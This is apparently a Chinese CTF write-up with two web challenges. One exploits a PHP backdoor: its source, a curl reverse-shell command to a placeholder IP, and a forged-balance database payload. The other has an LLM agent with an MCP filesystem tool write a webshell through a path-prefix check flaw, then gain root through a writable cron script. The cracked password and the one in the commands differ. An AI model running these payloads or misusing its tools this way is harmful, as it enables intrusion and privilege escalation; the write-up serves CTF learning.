根据小明提示,访问他的后门并加参数 show,我们得到了源码。$pass 是 md5 比较简单,随便什么解密网站基本都能直接爆出来是 114115。
<?php
if(isset($_GET['show'])){highlight_file(__FILE__);}
$pass='c4d038b4bed09fdb1471ef51ec3a32cd';
if(isset($_POST['key'])&&md5($_POST['key'])===$pass){
if(isset($_POST['cmd'])){system($_POST['cmd']);}
elseif(isset($_POST['code'])){eval($_POST['code']);}
}else{http_response_code(404);}
?>
弹个 shell
curl -X POST http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "cmd=bash -c 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1'"
index.php 源码分析
可以看到 $my_money 代码写死是 3.00 也就是我们页面上看到的余额。
connect.php 逻辑
这个文件具体代码不贴了,是比较复杂的加密逻辑,用于链接数据库,本轮想直接破解的,但感觉难度较大,我们绕过直接打数据库吧。
攻击思路
根据下面的代码,可以看到, $my_money 在 index.php 中直接写入了 3.00 元不过文件没有权限改写,但是 $pdo 是数据库链接对象,我们可以通过 webshell 的 code 直接 include。
利用代码层构造如下 payload 且通过 webshell 的 code 参数传入,传入购买 id=3 的商品时告诉后端我们有100.00元,足够支付 flag 价格。
curl -s http://challenge.shc.tf:30659/uploads/shell.php -d "key=114514" --data-urlencode "code=include '../connect.php'; \$stmt = \$pdo->prepare('CALL buy_item(?, ?)'); \$stmt->execute([3, 100.00]); print_r(\$stmt->fetch());"
# Array ([current_price]=>50 [final_message]=> SHCTF{d048c6c5-9efc-4817-97e3-a4af766ffb4c})
[MISC][阶段 2] ezAI
这道题虽然是 MISC 但依旧用到了 WEB 的渗透手法。
靶机展示
题干: 输入 help 获取帮助,在 https://bigmodel.cn/usercenter/proj-mgmt/apikeys 新建 API Key 并在靶机中填入,靶机安装了 https://www.npmjs.com/package/@modelcontextprotocol/server-filesystem/v/0.6.1,flag 文件放置在/root 下,flag 的文件名需自行读取。
攻击思路
这个靶机并不是把 flag 告诉大模型后,再用 system prompt把 flag 设置成 TOP-SECRET 禁止模型向所有人透露,而是要求读取到系统内的文件,所以需要用渗透的手法打到服务器里面,然后再想办法。根据题干透露的信息我们到 MCPJS 查阅安装的插件可以看到,接入的 MCP 目前具备读取文件/文件夹,写入/移动文件,以及 list_allowed_directories 等能力。
攻击步骤--打点阶段
- 我们先用
list_allowed_directories查看下MCP可以控制的文件夹,显示出的目录是/var/www/h。 - 尝试让
MCP把phpinfo()写入文件成功,但是访问发现404,因为写入的是/var/www/h/1.php。 - 尝试写入
/var/www/html,考虑到服务器是apache尝试往其默认目录/var/www/html写写看文件,发现写入成功,并且可以访问到。 - 写入一句话木马并访问,成功
getshell。
攻击步骤--后渗透阶段
- 查找
flag,根据题干flag在/root下面,查看了下是没权限访问的,所以后面还要想办法提权。 - 先看下
/var/www文件夹到底是怎么回事,的确是有 2 个文件夹h和html,单看权限的话user:www-data只能操作html文件夹,而user:mcp可以同时操作这 2 个文件夹的内容。 ps -aux查看进程,我们看到user:root用su -s /bin/bash让user:mcp执行了node启动了mcp服务,同时把流量转发到了本地的1337端口,而且mcp服务的目录的确是/var/www/h文件夹。- 内网信息收集,收集到任务计划的时候,我们看到
php这个任务计划,是每分钟让root执行一次/usr/lib/php/sessionclean脚本,而碰巧这个脚本是user:mcp可以rwx的。 getshell提权,根据上面的思路,我们创建个软连接指向/usr/lib/php/sessionclean然后发指令让MCP修改成revshell,然后让user:root定期执行任务的时候执行即可。
静等一分钟,看到反弹回来了 root 权限的账号,到 /root 中可以找到 flag。
漏洞原因
为什么 mcp server 指定的目录是 /var/www/h 但是可以修改 /var/www/html 中的内容?导致这个服务器被攻击者可以从对话这里就写入 webshell 打开了突破口?我们调试下靶机,在 /var/www/ 文件夹中创建其他文件夹测试下,实验可知,虽然这 2 个文件夹不是 allowed_directories 但是 MCP 依旧可以访问并且可以操作。目前的配置下我们得出的结论,只要是 /var/www/h 开头的文件夹是可以被 mcp 操作的。问题代码在 /opt/mcp-server/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js 文件的的第 50 行左右。
async function validatePath(requestedPath) {
// ...
const isAllowed = allowedDirectories.some(dir => normalizedRequested.startsWith(dir));
if (!isAllowed) { throw new Error(`Access denied - path outside allowed directories: ${absolute} not in ${allowedDirectories.join(', ')}`); }
// ...
}


